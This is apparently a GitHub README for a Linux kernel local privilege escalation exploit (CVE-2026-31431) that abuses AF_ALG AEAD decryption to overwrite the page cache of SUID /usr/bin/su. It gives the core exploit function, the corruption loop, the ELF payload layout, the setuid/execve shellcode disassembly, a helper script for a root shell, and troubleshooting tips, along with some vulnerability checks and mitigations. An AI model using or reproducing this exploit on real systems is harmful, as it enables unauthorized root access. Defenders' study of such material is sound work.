wesmar/CVE-2026-31431

GitHub: wesmar/CVE-2026-31431

该项目是 Linux 内核 AF_ALG 加密子系统中 CVE-2026-31431 漏洞的完整 PoC,通过在 AEAD 解密操作中利用页缓存引用错误,实现无磁盘痕迹的本地权限提升。

Stars: 3 | Forks: 0

# CVE-2026-31431 — 通过 AF_ALG 实现本地权限提升
[![NVD / NIST](https://img.shields.io/badge/NIST%20NVD-CVE--2026--31431-red?style=for-the-badge)](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) [![PoC 下载](https://img.shields.io/badge/PoC-Binary%20%26%20Source%20Code-blue?style=for-the-badge)](https://github.com/wesmar/CVE-2026-31431/releases/latest/download/CVE-2026-31431.zip)
**自研可用漏洞利用程序 · Linux 内核 · AF_ALG 加密接口 (AEAD)** *在内核页缓存中替换 `/usr/bin/su`,而不触及磁盘上的文件* *只需本地 shell 访问权限 — 无需额外权限* *影响未打补丁的 Linux 发行版*
![CVE-2026-31431](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/941b0dd6cb045507.png) ## 📚 目录 - [此漏洞是什么](#what-is-this-vulnerability) - [谁受到影响](#who-is-affected) - [漏洞利用原理 — 逐步解析](#how-the-exploit-works--step-by-step) - [攻击流程](#attack-flow) - [漏洞利用代码分析](#exploit-code-analysis) - [ELF 载荷 — 技术细节](#elf-payload--technical-details) - [如何检查是否存在漏洞](#how-to-check-if-you-are-vulnerable) - [缓解措施](#mitigations) - [研究人员备注](#researcher-notes) - [免责声明](#disclaimer) ## 此漏洞是什么 CVE-2026-31431 是 Linux 内核加密子系统中处理 scatter-gather I/O 操作和**页缓存**引用时存在的一个漏洞 — 具体位于 AEAD 算法的 `AF_ALG` socket 实现中(`crypto/af_alg.c`,`crypto/aead.c`)。 | 属性 | 值 | |----------|-------| | **标识符** | CVE-2026-31431 | | **参考** | [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) | | **类型** | 本地权限提升 (LPE) | | **组件** | Linux 内核 — `AF_ALG` / AEAD (`authencesn`) | | **所需权限** | 无特权本地用户 | | **影响** | 交互式 `root` shell | | **漏洞利用状态** | **有效的 PoC 已在 GitHub 上公开** | | **持久性** | 无 — 修改仅存在于 RAM 中;重启即可恢复原始状态 | ### 实际发生了什么 Linux 内核通过 `AF_ALG` socket 向用户空间暴露了一个加密接口。该漏洞在于,在 AEAD 解密操作期间,内核**错误地将解密输出直接映射到源文件的页缓存页上** — 而不是临时缓冲区。攻击者从而可以在不修改磁盘文件、不需要 `root` 权限且不在文件系统中留下任何可见痕迹的情况下,覆盖任何文件的内存内容。 ## 谁受到影响 | 系统 | 状态 | |--------|--------| | Ubuntu 24.04 (裸机 / 虚拟机) | ⚠️ 内核未打补丁时存在漏洞 | | 未打补丁内核上的 Debian, Fedora, Arch | ⚠️ 存在漏洞 | | 启用 `CONFIG_SECURITY_LOCKDOWN_LSM` 的发行版 | ✅ 可能受保护 | | 启用 `nosuid` 或 `ProtectSUID` (systemd) 的系统 | ✅ 受保护 | | 使用 AppArmor/SELinux 阻止 `AF_ALG` 的系统 | ✅ 受保护 | | macOS, Windows (原生) | ✅ 不受影响 | ## 漏洞利用原理 — 逐步解析 该漏洞利用由两部分组成:位于 `/tmp/x` 的辅助脚本和基于 `AF_ALG` 的破坏循环。以下是基于源代码分析的详细步骤: **1. 辅助脚本设置** 漏洞利用创建了具有以下内容的 `/tmp/x`: ``` #!/bin/sh export TERM=xterm-256color exec /bin/sh ``` 它将权限设置为 `0755`。原因:`/usr/bin/su` 在启动时会剥离环境变量(包括 `TERM`)。辅助脚本在生成真正的 shell 之前会恢复它们,从而确保终端功能正常。 **2. ELF 载荷构造** 在内存中构建了一个包含原始 shellcode 的最小 158 字节 x86_64 ELF 二进制文件。然后通过 `memcmp`/`memcpy` 将偏移量 150 处的字符串 `/bin/sh` 被修补为 `/tmp/x\0`。有关详细信息,请参阅 [ELF 载荷](#elf-payload--technical-details)。 **3. 以只读方式打开 `/usr/bin/su`** ``` int su_fd = open("/usr/bin/su", O_RDONLY); ``` 该文件以只读方式打开 — 漏洞利用完全不需要任何写入权限。 **4. 破坏循环 — 39 次迭代,每次 4 字节** 载荷(158 字节)被分成 4 字节的块进行处理(39 个完整块)。每个块都通过 `corrupt_binary_chunk()` 传递,该函数执行以下操作: - 创建一个 `AF_ALG` socket (`SOCK_SEQPACKET`) - 绑定到 `authencesn(hmac(sha256),cbc(aes))` — 一个复合 AEAD 算法 - 设置一个 72 字节的密钥和 4 字节的身份验证标签大小 - 接受一个操作 socket (`op_sock`) - 使用 8 字节缓冲区(4× `'A'` + 4 个载荷字节)和三个 CMSG 发送 `sendmsg`:`ALG_OP_DECRYPT`、IV(20 字节)、`assoclen=8` - 执行 `splice`:`su_fd → pipe → op_sock`(通过内核零复制) - 通过 `recv()` 完成 — 这是内核错误覆盖页缓存的位置 **5. 执行** ``` execve("/usr/bin/su", args, NULL); ``` 内核通过页缓存加载 `/usr/bin/su` — 而该缓存现已被污染。SUID 位(`chmod u+s`)完好无损,因此内核以 `root` 身份执行该文件。Shellcode 运行 `setuid(0)` → `execve("/tmp/x")` → 交互式 `root` shell。 ## 攻击流程 ``` flowchart TD A[Unprivileged local user] --> B["Creates /tmp/x helper script\nchmod 0755"] B --> C["Builds 158-byte ELF payload\nPatch: /bin/sh → /tmp/x"] C --> D["open /usr/bin/su O_RDONLY\nNo write permissions needed"] D --> E[Loop: 39 chunks of 4 bytes] E --> F[socket AF_ALG SOCK_SEQPACKET] F --> G["bind: authencesn hmac sha256 cbc aes"] G --> H["setsockopt: 72B key + authsize=4"] H --> I[accept → op_sock] I --> J["sendmsg: 8B data + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"] J --> K["splice: su_fd → pipe → op_sock\nzero-copy through kernel"] K --> L[recv → finalise AEAD operation] L --> M["KERNEL BUG: decryption output\noverwrites page cache of su_fd"] M --> N{Next chunk?} N -->|Yes| E N -->|No| O["execve /usr/bin/su"] O --> P["Kernel loads /usr/bin/su\nfrom poisoned page cache"] P --> Q["SUID bit intact\nkernel executes as root"] Q --> R["Shellcode: setuid 0 syscall 105"] R --> S["execve /tmp/x syscall 59"] S --> T[Interactive root shell] ``` ## 漏洞利用代码分析 以下是 `exploit.c` 关键部分的审查: ### `corrupt_binary_chunk()` 函数 漏洞利用的核心。每次调用协调一个完整的 `AF_ALG` 事务: ``` static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4]) { // Creates AF_ALG socket and binds to AEAD authencesn(hmac(sha256),cbc(aes)) alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa)); // 72-byte key + authentication tag size = 4 bytes setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4); op_sock = accept(alg_sock, NULL, NULL); // Buffer: 4x 'A' as associated data + 4 payload bytes unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]}; // 3 CMSGs: DECRYPT operation / IV (20B, first byte 0x10) / assoclen=8 // sendmsg with MSG_MORE — data not yet complete sendmsg(op_sock, &msg, MSG_MORE); // zero-copy splice: su_fd → pipe → op_sock (offset+4 bytes) splice(fd, &off_in, pipefd[1], NULL, total_len, 0); splice(pipefd[0], NULL, op_sock, NULL, total_len, 0); // recv finalises the operation — kernel incorrectly writes to page cache of su_fd here recv(op_sock, dummy, 8 + offset, 0); } ``` ### 主循环 ``` for (size_t i = 0; i < len; i += 4) { if (i + 4 > len) break; // skips last 2 bytes (158 % 4 = 2) corrupt_binary_chunk(su_fd, i, &payload[i]); } // 39 complete chunks × 4 bytes = 156 bytes applied ``` ## ELF 载荷 — 技术细节 该载荷是一个自包含的 158 字节 x86_64 ELF 二进制文件,包含原始 shellcode — 无动态链接器,无外部库。 | 字段 | 详情 | |-------|---------| | **总大小** | 158 字节 | | **ELF 头** | 120 字节(`e_type=2` EXEC,`e_machine=62` x86_64) | | **入口点** | `0x00400078` = 偏移量 120(紧跟在头部之后) | | **Shellcode** | 30 字节(偏移量 120–149) | | **目标字符串** | 偏移量 150 处的 8 字节(`/bin/sh\0` → 被修补为 `/tmp/x\0`) | | **4 字节块** | 39 个完整块(156 字节);跳过最后的 2 字节 | ### Shellcode — 反汇编 ``` ; offset 120 — entry point 0x400078 xor eax, eax ; eax = 0 xor edi, edi ; edi = 0 (uid = 0) mov al, 105 ; syscall setuid(0) syscall lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (offset 150) xor esi, esi ; argv = NULL push 59 pop rax ; syscall execve cdq ; rdx = 0 (envp = NULL) syscall xor edi, edi push 60 pop rax ; syscall exit(0) syscall ; offset 150 db "/tmp/x", 0, 0 ; (patched from "/bin/sh\0") ``` ## 如何检查是否存在漏洞 ### 步骤 1 — 检查内核版本 ``` uname -r ``` 将输出与 NIST 发布的易受攻击版本列表进行比较:[nvd.nist.gov/vuln/detail/CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) ### 步骤 2 — 检查 AF_ALG 是否可用 ``` python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available — system may be vulnerable')" ``` 如果命令返回 `[Errno 97] Address family not supported` — 则该模块已被禁用,风险显著降低。 ### 步骤 3 — 检查 `/usr/bin/su` 上的 SUID ``` ls -la /usr/bin/su ``` 如果存在 `s` 位(例如 `-rwsr-xr-x`) — 则 `/usr/bin/su` 设置了 SUID 并且是攻击向量。 ## 缓解措施 | 缓解措施 | 如何应用 | 有效性 | |------------|-------------|---------------| | **内核更新** | `sudo apt update && sudo apt upgrade` + 重启 | ✅ 完全(当补丁可用时) | | **将 AF_ALG 模块列入黑名单** | `echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf` | ✅ 阻断攻击向量 | | **移除 `su` 的 SUID** | `sudo chmod u-s /usr/bin/su` | ✅ 阻断此漏洞利用(注意:`su` 将停止工作) | | **以 `noexec` 方式挂载 `/tmp`** | 编辑 `/etc/fstab`:`tmpfs /tmp tmpfs noexec,nosuid 0 0` | ⚠️ 部分 — 阻断 `/tmp/x`,漏洞利用可能会使用其他路径 | | **AppArmor / SELinux** | 为无特权用户配置阻止 `AF_ALG socket` 的策略 | ✅ 配置正确时有效 | ### 临时解决方法(在内核补丁可用之前) ``` # 若不需要则卸载 AF_ALG module sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel — cannot unload" # Alternatively — 暂时移除 SUID sudo chmod u-s /usr/bin/su ``` ## 研究人员备注 *本节适用于在隔离环境中分析该漏洞的安全研究人员。* ### `socket()` 或 `bind()` 失败 **症状:** `perror("socket")` 或 `perror("bind")` 触发退出。 **原因:** 1. 内核不支持 `AF_ALG` 或 `authencesn` 算法 — 检查:`cat /proc/crypto | grep authencesn` 2. 加载所需模块:`sudo modprobe hmac sha256 cbc aead authencesn` 3. AppArmor/SELinux 正在阻止 `AF_ALG` socket 创建 — 检查日志:`dmesg | tail -20` ### `splice()` 返回 `EPERM` / `EINVAL` **症状:** Splice 操作被内核拒绝。 **原因:** 1. 验证 `su_fd` 指向的是常规文件,而不是符号链接或设备 2. 检查 `dmesg` 中是否存在阻止对加密 socket 进行零复制的审计日志条目 3. 验证没有 LSM 拦截该操作 ### `execve` 生成普通用户 shell **症状:** 没有 `root` 提示符;`id` 显示原始 UID。 **原因:** 1. `/usr/bin/su` 缺少 SUID 位 — `ls -la /usr/bin/su`,必须能看到 `s` 位 2. 页缓存可能在 `execve` 之前已被刷新 — 添加 `sync` 或减少循环延迟 3. 系统已包含针对 CVE-2026-31431 的补丁 — 验证内核版本 ### 找不到 `/tmp/x` 或缺少 `TERM` **症状:** Shell 已生成但终端渲染异常。 **原因:** 1. 确保 `/tmp` 可写且未以 `noexec` 方式挂载 2. `/tmp/x` 必须具有 `0755` 权限 — 验证:`ls -la /tmp/x` 3. 如果 `execve("/tmp/x")` 失败 — 可以重新修补 shellcode 以直接使用 `/bin/sh` ## 免责声明 所有商标均为其各自所有者的财产。Linux 及相关标志是 Linux Foundation 的商标。 *最后更新:2026-04-29*
标签:0day挖掘, AEAD, AF_ALG, CVE-2026-31431, Linux内核, LPE, NVD, PoC, Web报告查看器, 任意代码执行, 内存损坏, 内核安全, 协议分析, 客户端加密, 密码学子系统, 提权漏洞, 暴力破解, 本地提权, 权限提升, 漏洞复现, 缓冲区错误, 网络安全, 隐私保护, 页面缓存